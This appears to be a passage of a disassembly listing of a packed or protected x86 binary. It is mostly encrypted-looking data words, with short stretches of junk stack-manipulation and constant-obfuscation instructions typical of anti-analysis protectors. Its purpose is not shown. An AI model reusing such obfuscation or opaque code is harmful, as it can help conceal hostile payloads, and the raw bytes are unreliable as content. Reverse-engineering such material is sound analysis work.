9D7BC1DDh, 328EF55Ch, 9EBF724Bh dd 0A48BAB5Dh, 98762D91h, 94E5D357h, 7241F85Fh, 0BF8A2147h dd 0A1A973DDh, 14D2A351h, 6B16C0BBh, 3B81DDBEh, 0FF74AE5Dh dd 0F90FFFFFh, 3DFC5F97h, 0BD7A9A80h, 6433F456h, 664DA6D8h dd 0A80D3A6Bh, 0B91CE3E3h, 3F5F4502h, 0DA04FF58h, 0C5D857E1h dd 0B360A17Fh, 0C3803BA0h, 0CCF2FFDDh, 0EFD857E1h, 0CB80622Fh dd 0A8D88BD3h, 3Ah, 3A7CB309h, 0C892A27Ah, 0FFB81ABBh dd 2ADBB321h, 27B3EA43h, 0AE65C9D5h, 6F460BF1h, 9DAA8805h dd 0E3A8C510h, 0EF3EFB41h, 0D85729C3h, 7D6F2CECh, 0D88C7FCEh dd 0EBA7h, 97F90800h, 1D7623E0h, 0BEF7B822h, 0BF9DE3DDh dd 0C17E359Ah, 823FF85Ah, 3302B91Bh, 0BEFB2908h, 4F086ADDh dd 38EF5568h, 64B7957Bh, 2E41BF21h, 6D5310C7h, 0BEF2FAE4h dd 3F5FA5DDh, 2AE14558h, 68A9876Dh, 462DC6B8h, 0BF78DAEDh dd 82399B02h, 96778462h, 8FE3A7F9h, 98F17A49h, 0A8652485h dd 0FD9139C2h, 0FFAD857h, 0A66E65Eh, 25032397h, 472EC7B7h dd 43EE394Ch, 0B9A0E6E6h, 0C8C341A6h, 0D66BE01Eh, 54234389h dd 2F5AC11h, 0CBDD3E09h, 0C2C9C5Fh, 0CF000002h, 9ADDAC6Fh dd 69AC7B34h, 3D804F06h, 105322D9h, 5C21F0ABh, 0A55CC128h dd 773293D6h, 47FE65A8h, 14D33578h, 645FC045h, 0D850AC7Ah dd 0F90AFF25h, 41FA5C94h, 0C4273A21h, 0F79B433Eh, 0BE04DDBEh dd 1DFBE19Eh, 0E52587CAh, 0CD2B2581h, 0ECE0415Dh, 86DDACCCh dd 3E25DEB0h, 0A808BE43h, 5FCE7E3h, 890859Ch, 91E09DBDh dd 0D8573C2Dh, 1F8DCE8Eh, 0D88C6C2Ch, 62197A8Dh, 1FD83EA5h dd 7E5C7C62h, 0CDCFh, 97F93000h, 8340FB5Fh, 59C07D9Dh dd 0D3803DF4h, 0FC799C9Ch, 0CC2F8C83h, 4A6A500Dh, 0E442EC85h dd 0D9B7029Ah, 0BE2B15CCh, 44CC2EDDh, 0BE226149h, 0A4C40ADDh dd 9047AABDh, 0BC0FEDD3h, 0A3601779h, 836A9BF3h, 0A7298788h dd 8B5AA0E3h, 4AEA902h, 6FD8572Dh, 0A1DD4B29h, 0BC6E6950h dd 67E64376h, 67775F5Ah, 4068D66Bh, 623B4854h, 1F844B58h dd 0A1C1A764h, 0BDDCDDDCh, 91B1E884h, 0F63297AAh, 361CD992h dd 9F044716h, 0D2E2F1E4h, 8144CBDDh, 0F211h, 9655B500h dd 651E84C7h, 39F05396h, 8C3276Ah, 0DA91F639h, 0AB3E460Bh dd 79BC8B46h, 4F926118h, 1F6231E8h, 0AA2FFEBDh, 0AB644E49h dd 0E90FD850h, 0DD94F9F4h, 0B269CB0Eh, 97F98CE3h, 0A5A0F9E0h dd 0DDBEF73Dh, 1422066h, 99FE389Ah, 1F3F25E2h, 39CAC450h dd 44825752h, 0FD43E3ADh, 0B577DF16h, 3B0A721Dh, 5C6F1C5Dh dd 997F3CF7h, 1C9C6CD4h, 3311A72Ch, 1CEBAC0Eh, 0D9C077D9h dd 0CD5D8580h, 46D850h, 9592E122h, 3A211B39h, 0FB621FD8h dd 3CFB5E9Ah, 0BC79997Fh, 0CEF77A31h, 7F6B6C9h, 87763E7Bh dd 1375BEFBh, 0D196568Dh, 84D0FBFAh, 9AF5D3FBh, 5676BC90h dd 29E24487h, 0EAA1056Ch, 0DF9CC82Dh, 24F3B416h, 0E1C87FE1h dd 0B365188h, 4BD9E252h, 9A7C18C2h, 783D8390h, 6E7F7817h dd 0FC3D1BCBh, 0A8Ch, 907DEB00h, 9E5B1A7Dh, 0F9A1DAB8h dd 0BE25E299h, 77DE9B5Ch, 359C5910h, 0F15815D4h, 0B118D58Ch dd 71D8954Ch, 3299560Dh, 0F45B18CFh, 8118D58Eh, 30C268h dd 241C8900h, 45A968h, 242C8900h, 484D68h, 24048900h, 2B5868h dd 241C8900h, 0EE4E40BBh, 5BDD8905h, 24048B54h, 6804C483h dd 0D1h, 8F242C89h, 34FF0840h, 0C4815824h, 4 db 8Bh, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_552BF1 ; --------------------------------------------------------------------------- dd 0CB65DAE1h, 3B535FBBh, 5D5BB8D6h, 0C50305EEh, 9C4BE0FFh dd 7B417247h, 0A8F47052h, 0DE4B66B9h, 13B6BFEh, 0A4AE644Dh dd 0E3602EC9h, 5E0714BBh, 0AE400030h, 12EB4FC4h, 1B014BA7h dd 0EF737622h, 0D3613730h, 7CC026D3h, 0EE972C58h, 76E858BAh dd 0DB2A24C6h, 0BDCA106Ah, 21761495h, 14CF29F8h, 4E082C6Bh dd 0CD9C74DAh, 3BB61662h, 0BB206583h, 4DD422B5h, 0E1D4260Bh dd 1D282E0Dh, 0A6170825h, 6D732A2Ch, 8D3F36A9h, 1971CD0h dd 8D8D6D6Ah, 5EE5F18h, 3201B529h, 0EE905E9h, 72000000h dd 54F972B5h, 3B6D29EDh, 894AA578h, 558D8949h, 5305E926h dd 1D69958Bh, 0C75805E9h, 0E9080585h, 6EAC05h, 41B53300h dd 0C705E926h, 0E9163D85h, 5, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 8D89C818h dd 5E910C9h, 321DB5FFh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 3DB36EC3h, 0DBBB66BAh dd 6810F19h, 1000000h, 0E921BD95h, 0C595FF05h, 6A05E90Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0C539C352h, 8F9E7A0Dh, 44B0DE81h, 6A0B64h dd 1E9595FFh, 0C08B05E9h, 27840EEBh, 0DABE4B49h, 5E86400Ch dd 5400A244h, 17CE9h, 0B58DFC00h, 5EE600Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0E9C35242h, 0E860F51Fh dd 0Fh, 53685F8Ah, 92518B92h, 6BA1E5D1h, 0F1D5242h, 87h dd 8F0F5800h, 5, 4E5228BAh, 858D615Ch, 5EC4E23h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 6EC35242h, 0C767E313h dd 0ADE4A1F4h, 0D0FFF8A1h, 0FFC6060h, 85h, 0F616100h, 0C8Ch dd 6840F00h, 0F000000h, 82h, 6AC300h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 5E653FC3h dd 0E95AE2E9h, 0FAE8DC6h, 180h, 6660F500h, 0B0B9A2B8h dd 0E96061A9h, 0Ah, 196237FDh, 0AD3650CDh, 666117ABh, 6AD98Ch dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 4543F3C3h, 0C1F6FCCDh, 4D840F04h, 0E9000000h, 10h, 0BF76FA4Ch dd 0A74F794Eh, 50D2791Bh, 0C8BFA025h, 0CB8BFB8Bh, 75AEC032h dd 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh, 1013Fh dd 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h, 1B8FAh dd 9EB0000h, 0E4EB008Bh, 0B8h, 8B0FCF00h, 1, 12E9FCF9h dd 0F7000000h, 4D958AE8h, 78D84B63h, 2164DFD8h, 15C0EFEAh dd 6785C73Ah, 3F05EE60h, 0EB000101h, 60h, 17h dup(0) dd 0AFFE900h, 0F3E90000h, 6800000Ah, 5EE68AEh, 0FB1ECAE9h dd 69C368FFh, 0C0E905EEh, 68FFFB1Eh, 5EE6A49h, 0FB1EB6E9h dd 1B4282FFh, 0ADDC18FEh, 3E6DAA90h, 0CD003B21h, 618CCAB0h dd 18A24044h, 0AC92AFDAh, 4127446Bh, 0D4BAD702h, 7D4A679Ah dd 7BA8EE9Ch, 0DD361327h, 62A17BFFh, 73B49A37h, 0A17AA94Ch dd 0F913A08Ch, 0D2742CC9h, 0A1BEE526h, 0AB4E81BBh, 1C09297Ch dd 0A2DE3304h, 197B4573h, 0C100C47Ch, 63A46896h, 0C4A0E3Ch dd 28643EE1h, 0E0A45CF9h, 3E4977A2h, 0BDFC2964h, 389A6492h dd 0BDA3400Ah, 5D214F82h, 0FFC3F120h, 4F6694C3h, 0AE487F7h dd 0A6709ECDh, 6E115503h, 279D16C9h, 1B3C5D8Ah, 0C96E296Dh dd 0A23FB516h, 334E5EE8h, 872AA01Ch, 254271ADh, 63A1C9F8h dd 3B6998D5h, 98CBC071h, 0A9FB34D1h, 68CAF533h, 435317C5h dd 0F3631327h, 8F5987B6h, 13BFF2Dh, 0C283B1CEh, 0F0B15588h dd 9ED10BE5h, 0DB09A670h, 92551A6Fh, 4B44693Ah, 6A99D632h dd 5A7B6408h, 0C91AEAACh, 86B1F016h, 741BB82Eh, 0CB17C946h dd 462943CFh, 0EF000000h, 0A41A6Fh, 1A89CD7Bh, 0A51516C9h dd 440E3C67h, 597B3EE2h, 0B35786C2h, 3467A17Bh, 0B49CED06h dd 5789A5ABh, 0E2A452F5h, 0EC16C991h, 68CED976h, 72CAh dd 0F5310B00h, 1A97D785h, 0A11716C9h, 0AA47113Fh, 0A41A6F7Ch dd 0BBEA2701h, 7220C38Dh, 16C91A2Ch, 719F3CB2h, 0EAAC5A7Bh dd 0F416C91Ah, 93B4E17Eh, 1A82C472h, 960C16C9h, 0A1CFFE3Ah dd 3E803AD7h, 0B716C91Ah, 5A7BAF53h, 0E6144380h, 1AAAEC1Ch dd 0BE3416C9h, 7BD2F421h, 1C0B664Ch, 71FDAEE1h, 0A48A27D4h dd 7B953968h, 1AEAAC5Ah, 7EF416C9h, 6F70D6E1h, 2A04A717h dd 0C48EBCEFh, 0CDFB2E68h, 8B396603h, 1C321CCEh, 0FA3711C8h dd 0A3D39DCBh, 132014E3h, 0E51375EBh, 2014754Dh, 94E18213h dd 26D94917h, 45815B45h, 0E724E816h, 5EC08AB8h, 13EA0C1h dd 6F660000h, 50FEA11Dh, 16C91A06h, 4E6F1288h, 0C91ADEA0h dd 0CD6AE016h, 0E4175115h, 0FC2B6741h, 0C06704CEh, 5588C292h dd 62A17BB1h, 0D6E29A37h, 0A41A6Fh, 5A7BD301h, 0C91AEAACh dd 0E17EF416h, 0CFCB4E02h, 386243h, 6F280000h, 7B00A41Ah dd 0C91A89CDh, 0FC9F1516h, 8AFDA3CDh, 6E0BF66Dh, 7B597B40h dd 0BB076A4Ch, 0A23F615Dh, 1D5780BCh, 9DE488EAh, 0F0235E38h dd 2D5BF8C2h, 1BCAh, 1A6F0A00h, 0CD7B00A4h, 16C91A89h dd 7B04A80Ch, 60A17B59h, 7AB69C39h, 379DA74Bh, 6DA71D6Fh dd 1435D83Ah, 34D1FC3Ah, 0C91A387Ah, 0A38AE16h, 0A0DF0C46h dd 96701375h, 0E9902D58h, 0A9ED9BBCh, 3516C91Ah, 0C2F422BFh dd 0F0B15588h, 0AA1A6FE4h, 46103E6Dh, 0D40140E4h, 9E4CC0FAh dd 16C91AD8h, 0E00E70E6h, 0C94B7916h, 43CFCB17h, 0D904431Dh dd 1C1B3Ch, 6FE10000h, 7B00A41Ah, 0C91A89CDh, 0FB9F1516h dd 86C2597Bh, 379DB357h, 29CAh, 1A6F0A00h, 0A17B00A4h dd 6C993665h, 0C91AF8BEh, 0A4E1BB16h, 89EDD875h, 7B597BE5h dd 936BB24Ch, 6F0C074Eh, 7A1E4D89h, 0D8CA379Dh, 0A000000h dd 0FEA11D6Fh, 0C91A0650h, 0A90E3D16h, 180600CCh, 2E619Ch dd 8331D436h, 16C944C3h, 0D6B855CBh, 346E3260h, 222F5E01h dd 0AE1789EAh, 0FE608FCBh, 0C28CBA61h, 7BB15588h, 0A3863A1h dd 0DFEBA340h, 0A41A6Fh, 17C9D301h, 2943CFCBh, 3Fh, 0A41A6FEFh dd 7AEA2701h, 0C91A8ACCh, 3C9E1416h, 0CD7B719Fh, 16C91A89h dd 68FA9BCAh, 349B0649h, 9B3FB597h, 8B395A7Bh, 16C91ACBh dd 0B6392CFh, 0C2CAF895h, 9DB35786h, 49CA37h, 7B0A0000h dd 3BB7EA4Ch, 4EAA19E8h, 0ECB6E40Fh, 51C1164Fh, 0E184E615h dd 0FD9ACD07h, 89CD7BCFh, 0C16C91Ah, 4C7B04A8h, 0A1F33312h dd 5E209455h, 5CE033E4h, 8CF3B361h, 85FB16C9h, 37598623h dd 0B35786C2h, 3366A17Bh, 0C2258B96h, 0D8B25588h, 736739Ch dd 10AD77A5h, 7E2C4D58h, 16C91A38h, 0E91C56C6h, 0F28FF1BBh dd 85A2CD0Ch, 432659Fh, 0C91A286Ch, 4271AE16h, 0E80F5014h dd 294CE9BAh, 0F382F975h, 274477B1h, 0A6D40741h, 5782C19Bh dd 9EC25F29h, 403574E2h, 0D609431Dh, 5B41DEA8h, 0FA709F21h dd 21D579DBh, 0F052B4E7h, 8FCCA6D3h, 0C5683260h, 0C9555717h dd 44E15716h, 0A043B30Bh, 3253A9F2h, 14B72D1Ch, 5B0145F3h dd 178D1320h, 182AC27Ah, 5F13205Bh, 2CF4B7BEh, 44452696h dd 1Ch, 5588C20Ah, 6D9CD8B2h, 3E8018D0h, 9C16C91Ah, 1A545025h dd 517FB2EDh, 0DA082587h, 275588C2h, 0A548B810h, 3339BBF7h dd 12B52B1Ch, 9DCBFE38h, 568F36D3h, 3D43FFEh, 0A20AF877h dd 0AAEF9D40h, 0E119DC30h, 384C12C0h, 0DC5216CEh, 0B9E75D3Fh dd 0CE382121h, 0C0B55616h, 0C8F525EBh, 383B40h, 6F010000h dd 50FEA11Dh, 16C91A1Eh, 66872AA0h, 0C91AF6B8h, 0E582F816h dd 72A1DEB8h, 89B8F5CFh, 4DF4915Bh, 711FF120h, 3104982Eh dd 5B0CB70Eh, 2FCC8C8Eh, 4151h, 1D6F9100h, 250FEA1h, 5916C91Ah dd 594BC82Ah, 0F89546C7h, 0CEFDA016h, 943DD1ECh, 0DD182E4h dd 56EDFCC3h, 0BE512AFh, 0EEB05ECEh, 0F016C9C8h, 9B75187Ah dd 0E6FF2D60h, 4657BBC6h, 5A20460h, 65CA305Eh, 0A000001h dd 2A5196Fh, 695C9AD3h, 0CA958CBh, 0C2E4F0DEh, 7BB15588h dd 1AEAAC5Ah, 7EF416C9h, 0C90C3AE1h, 43CFCB17h, 0D807431Dh dd 7DA8E6AAh, 385D7E1Bh, 23000000h, 2A5196Fh, 1A7333E1h dd 57B16C9h, 0A44168A9h, 805A7B76h, 0DEE91742h, 0C91A6E30h dd 98FA7016h, 1A7D41FBh, 0B8116C9h, 0C2597B67h, 9DB25685h dd 47CA37h, 6F0A0000h, 426DAB19h, 44E84A14h, 0EAAC5A7Bh dd 0F416C91Ah, 6B4E17Eh, 16C91A40h, 7B3DE145h, 0E142B5Ah dd 0D54037B7h, 0E2103B79h, 0C24D7B18h, 0B11D5C85h, 0C91A4303h dd 73D54B16h, 76197B45h, 2E619Ch, 9D6B9936h, 688C237h dd 0E58E2E3Fh, 8D319393h, 0A17BE4F0h, 639C3960h, 345F9E0Eh dd 5A7B2ED2h, 0C91AEAACh, 0DB7EF416h, 0C91A692Dh, 62FF7516h dd 17C98DBBh, 2943CFCBh, 36h, 0A41A6FEFh, 89CD7B00h, 1516C91Ah dd 0A17BFB9Fh, 6D9A3762h, 5786C24Bh, 7B379DB3h, 0F1751C4Ch dd 0FAC44EEh, 3D31h, 59987200h, 6A69E3DFh, 4DAF44C1h, 1A6F82B0h dd 0CD7B00A4h, 16C91A89h, 2B05A80Ch, 0CA94C2EDh, 5A7BFF2Dh dd 0E8164180h, 5685C21Eh, 86C28BB9h, 0E593B457h, 16C91AA1h dd 0EC1AB72Dh, 83C2379Dh, 0A1DBB558h, 8119D16Eh, 16C91A40h dd 5C482DA0h, 0A7D5F21Dh, 0B55883C2h, 0B9636086h, 0FD9A68FCh dd 0C8428145h, 92FB7DEh, 6391F300h, 43611473h, 2BCD904h dd 16C91A2Eh, 28FBBB69h, 8D0316C9h, 5C48E9DCh, 0EB4DFD0Fh dd 0CFE9CB96h, 0FE5EE740h, 0EEADFFFFh, 16C91AD4h, 0C91AE85Ah dd 1A034616h, 93AF16C9h, 1B16C91Ah, 16C91A27h, 0C91ABB87h dd 0AC1C7456h, 0CF035B09h, 158BDC2Fh, 0C502DCE7h, 19E6896h dd 5D0070C8h, 0D9E0EEAFh, 497AF0D9h, 0AF72A239h, 91D8948Ch dd 14000002h, 0AA90ADD4h, 3C223F6Eh, 0CDB3D0FFh, 5C425F92h dd 0D2D6F31Eh, 416CAA10h, 0D6FD3E24h, 6994D3B9h, 0F92C664Ch dd 802E0FDCh, 1327723Eh, 0C28967C0h, 10275588h, 0F7A548B8h dd 1C3339BFh, 7FACC93Fh, 7BEEB05Eh, 0ADEC1327h, 328A5482h dd 5D651FBCh, 5E13277Bh, 0EE1C4384h, 0F64E8724h, 8535E386h dd 0D119DD5Bh, 0A4DEB85Bh dd 346E5471h, 7F3BD301h, 2016C91Bh, 0DBB558C8h, 0A3D06DA0h dd 3338A1F5h, 14B72D1Ch, 0B0CD003Ah, 2F5D90CAh, 0AD50C018h dd 0DD59B3FFh, 0D20EE819h, 0AE2406A3h, 5A9B7580h, 9E3B0533h dd 0FA9D0D65h, 333BF24Ch, 23C63C1Ch, 7B125402h, 2C9C1327h dd 0C993C1F0h, 7C9DCA67h, 93766A2h, 82BCA23Fh, 0D605324Fh dd 268D0EBCh, 0A1E593BAh, 2D1327ECh, 0B8F955B7h, 0FC996391h dd 7BA9DC16h, 27C6DFE3h, 878D013h, 0D5FFB765h, 89FF19DDh dd 3BEC445Bh, 0C997C98Dh, 0FD5FD516h, 7EE7AC5Ah, 89FF1C31h dd 8BEC5658h, 0E9A59D69h, 17Ch, 7B98BFFFh, 0D2A5995h, 9EBBEA27h dd 2D4A7DB8h, 0C1DE0947h, 4F8D25BDh, 0E0210724h, 77B69CB9h dd 0F492F4Ch, 11F2BFDCh, 27732363h, 7452AB13h, 0EAAC5A7Bh dd 0F416C91Ah, 0FD1BC2Fh, 96F8B542h, 0FE68C0F9h, 913496BDh dd 18FCC270h, 3D0216C9h, 9FE4B4Fh, 902D8FEFh, 10F9B563h dd 8F051C33h, 33F24A61h, 7409E7BAh, 1DC022B7h, 0ABD90443h dd 691744E1h, 19DF0D64h, 274374EAh, 966F6DB9h, 0F6E29Eh dd 39790000h, 0D30FF512h, 64A187A4h, 0F7321835h, 83C1A7C4h dd 0AB373B58h, 89A6D10Fh, 1E3B62A3h, 0B1CEF938h, 415E91CBh dd 0A1E59374h, 2D132770h, 5A7BF6D4h, 0C91AEAACh, 4584F416h dd 0C022EC1Ah, 2292EA23h, 0EEB05E7Fh, 0F016C91Ah, 0B6DD1E7Ah dd 0F1CBEC19h, 31EB88B3h, 1C33397Dh, 8E680B81h, 0D0882550h dd 829FD20Ch, 12F629Ch, 7F2292EAh, 0DD5B79D1h, 2A47BD19h dd 0BCD90844h, 4D6A99D6h, 0DCF92C67h, 708DB8F6h, 0A482243h dd 1BEFAFDFh, 79EF16C9h, 8DB8F6DCh, 48224370h, 0EFAFDF0Ah dd 0EF16C91Bh, 0B5F6DC79h, 0D611EB8Eh, 0EAB75A3h, 17428167h dd 0A7DA14FAh, 0ED63A48Ah, 20BA3893h, 3DDA1ACh, 3F2916Ch dd 0DD0445A1h, 0CD255E7Bh, 0A6E0BA5Dh, 0FBA9D673h, 1C330F4Fh dd 1FE31187h, 0EE0FB2E5h, 274F7E40h, 11407C13h, 0FFA643B9h dd 321h, 33A16100h, 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah, 18466DAEh dd 0BDEB1654h, 6290BBF9h, 230639Eh, 0A4D2013Eh, 4775A4E0h dd 4EC8386h, 56242489h, 4BEh, 24740100h, 48685E04h, 8900001Ah db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push ebx mov ebx, 1DE50328h and ebx, 53C61CA7h not ebx add ebx, 48B558FCh neg ebx add ebx, 3CDFBA1Bh push ebx add dword ptr [esp], 3367D43h pop edi sub edi, 3367D43h pop ebx push esp mov esi, [esp] add esp, 4 push edi push edx mov edx, 312D05DDh sub [esp+4], edx pop edx pop dword ptr [esi+8] add dword ptr [esi+8], 312D05DDh mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5461C3 ; --------------------------------------------------------------------------- db 3Eh dd 7DE923F2h, 0DC7047C1h, 64B8F221h, 305EE6Bh, 0EBC38BC5h dd 8EC2A904h, 523E919h, 59990000h, 0F32F1532h, 84C1A7C4h dd 17523855h, 0A3E1C7E4h, 8B575B78h, 0A9C6F12Fh, 3E5B82C3h dd 0D1EE1958h, 617EB1EBh, 4105B394h, 4D132776h, 88C216F4h dd 25632755h, 0BDF7DDFAh, 7B8E78Ah, 3DBFB6C4h, 98C3015Dh dd 5E3843FBh, 90BFFC1Dh, 8369862h, 42F38D3Eh, 0DF90B15Ah dd 0F5225C42h, 235691B6h, 18C92BF5h, 0D33C43C1h, 315FC123h dd 0CA08316Dh, 0FEEEB05Eh, 7AF016C9h, 0BE20EA18h, 38678290h dd 0DB15E60Dh, 0FFB07AA8h, 1BB8F0E2h, 0F4CE8FE6h, 3E986B9h dd 937996C9h, 260C2954h, 838EBCE7h, 39E4C454h, 912ED560h dd 0C496AABh, 83E5AFDDh, 0E1027155h, 0C9787333h, 68057B16h dd 23624233h, 0BBF5DBF8h, 0B28F1339h, 97F9381Bh, 68F0D169h dd 2F4616C9h, 681E600Eh, 2AA016C9h, 8E1D588Dh, 40CFA5C2h dd 0B2DEh, 88C2A400h, 0CD8F2755h, 0D116C91Ah, 73376594h dd 0CDD80639h, 0C91A5F1Fh, 6DE95F16h, 0F71F7FF6h, 0F8F4B1E0h dd 8E6BEC43h, 0DF793DEBh, 0F8516C9h, 73383D72h, 40CF12ADh dd 749FDDB7h, 1B6D7h, 7B7C0000h, 1AEAAC5Ah, 5F9B16C9h dd 0FFBEAE2Fh, 0F390065Eh, 74A2D10Dh, 174574B0h, 75A41853h db 0ECh, 0BEh word_594F42 dw 0B55Bh ; DATA XREF: ___:off_438100o dd 0F7B7E739h, 0F716C9ECh, 0A27C1F81h, 3E083665h, 0C0DBE9A1h dd 4AF4709Fh, 40161259h, 0C9054E10h, 3DDA5016h, 0FB376D08h dd 114F29CCh, 9D372E97h, 0AB0D2C4Fh, 6F16B37Dh, 52002142h dd 16C9720Ch, 0AAEC1C92h, 3416C972h, 13B21BEh, 7B83B1CEh dd 9A3762A1h, 155176B4h, 5280AFECh, 2EF82688h, 1A99DD8Bh dd 0AF2516C9h, 0E5141F4Dh, 193D2EEEh, 7C62FF98h, 0AFD61740h dd 6614B781h, 16C98B20h, 0A8D638AEh, 881C59B8h, 4D7C1F4Ah dd 0AA89C3A2h, 4AB4854h, 83B1E41Eh, 31649E78h, 4271AE94h dd 0E2155014h, 8DB2F0B4h, 95C3254Ch, 8098CD7Ch, 80FC14A0h dd 0CB326C09h, 0A0604B2Ah, 0B440CF0Ah, 0DE088F85h, 0DA189B4Ah dd 55B781AFh, 5097B8h, 7B5D0000h, 9A3762A1h, 1D4B76B4h dd 0BFED1C59h, 0BDE78EB1h, 0A37547Fh, 94C2F530h, 9472DCAh dd 0B1ECB0DEh, 0C601DB7Eh, 0FE9B6593h, 9FD67746h, 0CFD5540Ch dd 2F6C40h, 7B320000h, 0B3960A1h, 80BEA441h, 24632755h dd 453CBF9h, 0CAF53371h, 86C27FADh, 0B0912957h, 616C91Ah dd 731D8EE7h, 6D40CFD7h, 1, 5685C233h, 0F72A6428h, 76EE5C9h dd 1431609Dh, 701383DBh, 31F521C2h, 6401A1Ch, 8F5436D3h dd 0A3B9B552h, 0E10F713Fh, 93B0E31Dh, 124073ADh, 20E3367Ah dd 9CBD0413h, 20E3A8EEh, 23C03613h, 0B5D687EEh, 20E34707h dd 34D14713h, 0C4E1144Eh, 0CE71A4DEh, 0ABD3209Fh, 811E897Ch dd 98CB05C9h, 6026D4F5h, 23132071h, 20713175h, 0EF47BD13h dd 3424DC79h, 0CA04A0D5h, 0F59B7A97h, 0EB4526BCh, 127h dd 6E99D8B2h, 176FA3D1h, 0FD5604A7h, 291C3209h, 87C185B3h dd 17513754h, 0D1ABB6E4h, 0C8076396h, 0E01A009Dh, 308F7FADh dd 0F2255F45h, 0E62AF6D5h, 66464526h, 0C000000h, 3A6186Fh dd 0C919C155h, 0CFD30216h, 0F693E07h, 3AB0922Fh, 0D232740Ch dd 0EAB16C9h, 0D293EA67h, 3B76CFD0h, 5F10DA08h, 558FF6D3h dd 0BB5EC022h, 0D774A7E1h, 0BA6889AAh, 16C958F4h, 31D384FAh dd 2F010407h, 0DA4C06A3h, 6416C9F0h, 9CF3D1EEh, 34000000h dd 57DFF205h, 0C943E5A9h, 0C273E916h, 77144B74h, 0A7176F49h dd 1E555604h, 6BE11C32h, 0CB3F793Dh, 5484B7F1h, 13201612h dd 0A7C4269Ch, 205A87C1h, 93F5BFEDh, 1636CD65h, 75C41320h dd 376AA400h, 507BBA94h, 5C8AB5F4h, 154EF592h, 89AA4DBDh dd 19476EAFh, 0BFED1455h, 0FA3793F5h, 36D39DCBh, 0DA32667Ch dd 872AA019h, 134170ADh, 30F4AC49h, 0B195C3F6h, 0BE163B3Ah dd 7A1F5F0Dh, 299F16CEh, 0D40324C7h, 46677796h, 0CD8724DAh dd 1C346BD5h, 9FD20CE6h, 280AA771h, 6F6795B2h, 5604A717h dd 1C333E4Ch, 521644BAh, 0E2C8E518h, 0AF4775A8h, 746EBD7h dd 7AA8D713h, 1F4D78B6h, 1787EE11h, 36274E71h, 0C5276715h dd 31A70F47h, 0B1F29C80h, 801D387Fh, 0F833609Ah, 604663C5h dd 1C5F326h, 816593C6h, 0FF396B0Ah, 8FC9AFCCh, 3722E5Ch dd 0B2000000h, 82C233A1h, 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h dd 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h dd 68864775h, 3F53h, 56240C89h, 0C681E689h, 4, 4EE81h dd 34870000h, 14895C24h, 24356824h, 34890000h, 29BD5524h dd 5705EE6Ch, 0FA89EF89h, 0EC835D5Fh, 24248904h, 4240481h dd 5E000000h, 796168h, 24048900h, 4689D089h, 34FF5808h dd 0C4815E24h, 4, 5A2434FFh, 0E904C483h, 0FFFB0EB7h, 3F2308FCh dd 9EBC5CC7h, 0C6B7EA59h, 70DAB8B3h, 0C50305EEh, 909CE0FFh dd 0A429637Fh, 2A3E4D0Ch, 6A59069Eh, 6ECA29FDh, 94C34D3Dh dd 218310BFh, 0FED6B3Ch, 8E6E78C9h, 0C80B76E9h, 0E69C3CCBh dd 0E66B1D43h, 0E57F7A2Dh, 0A2F41DB6h, 8C1976E1h, 0FB1F35A0h dd 0BF895C1Bh, 343E4Fh, 1C495229h, 5E2A2023h, 661109A8h dd 0D61A0749h, 0E8AF70A1h, 7D9B0FEDh, 0FDD70C40h, 0DC826417h dd 126D6FE8h, 86E648C9h, 6F4456ADh, 0EF6A2019h, 12257C54h dd 7AF20BC7h, 10E82321h, 0E9000000h, 61C65535h, 0DC97241Dh dd 7ED5C25Eh, 5A925A45h, 6830F57h, 0F000000h, 8Eh, 0C2815F00h dd 6584h, 2BDEBF0Fh, 5820FC0h, 66000000h, 6D9EE381h, 661034FFh dd 77A9DB81h, 0FE859h, 9B3D0000h, 0F948318Dh, 0A14FA3A2h dd 63C3EA2Dh, 4BE9BBA1h, 815F55FCh, 64C36CE9h, 814CB374h dd 0AAA57E9h, 81D88B48h, 50914FE9h, 0B9BB6672h, 0EF815133h dd 781E67A8h, 0FC02048Fh, 81F38B66h, 230EA4E8h, 68A0F04h dd 81000000h, 0D5C3B1D7h, 0A0C0812Dh, 0F04230Eh, 0B8Eh dd 5890F00h, 0BB000000h, 3F310DF5h, 9B30F881h, 850FFFFFh dd 0FFFFFF80h, 8DDFBF0Fh, 0EE73668Dh, 0F6BF6605h, 558D89ECh dd 6A05E926h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 6A2BC356h, 66AA8282h, 20A8C281h dd 80585C7h, 6A5805E9h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 794905C3h, 8B9DED40h dd 0E93295BDh, 1DB58B05h, 0C705E923h, 0E9163D85h, 5, 6E900h dd 0D9290000h, 0C59E90CDh, 4BDB5FFh, 6A05E9h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B069AC3h dd 0C595FFF1h, 6A05E90Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0A310C350h, 0E6733075h dd 95FF006Ah, 5E91E95h, 69EBC08Bh, 0E20F9619h, 0DF9E0A10h dd 72709DEAh, 9433ED66h, 4B423A86h, 0CCF9BAB9h, 8A155062h dd 19D1BE30h, 67FCFA12h, 0B614C5D6h, 0CC96C448h, 0FCB21931h dd 7D6A2CFFh, 96771284h, 0C549D92Dh, 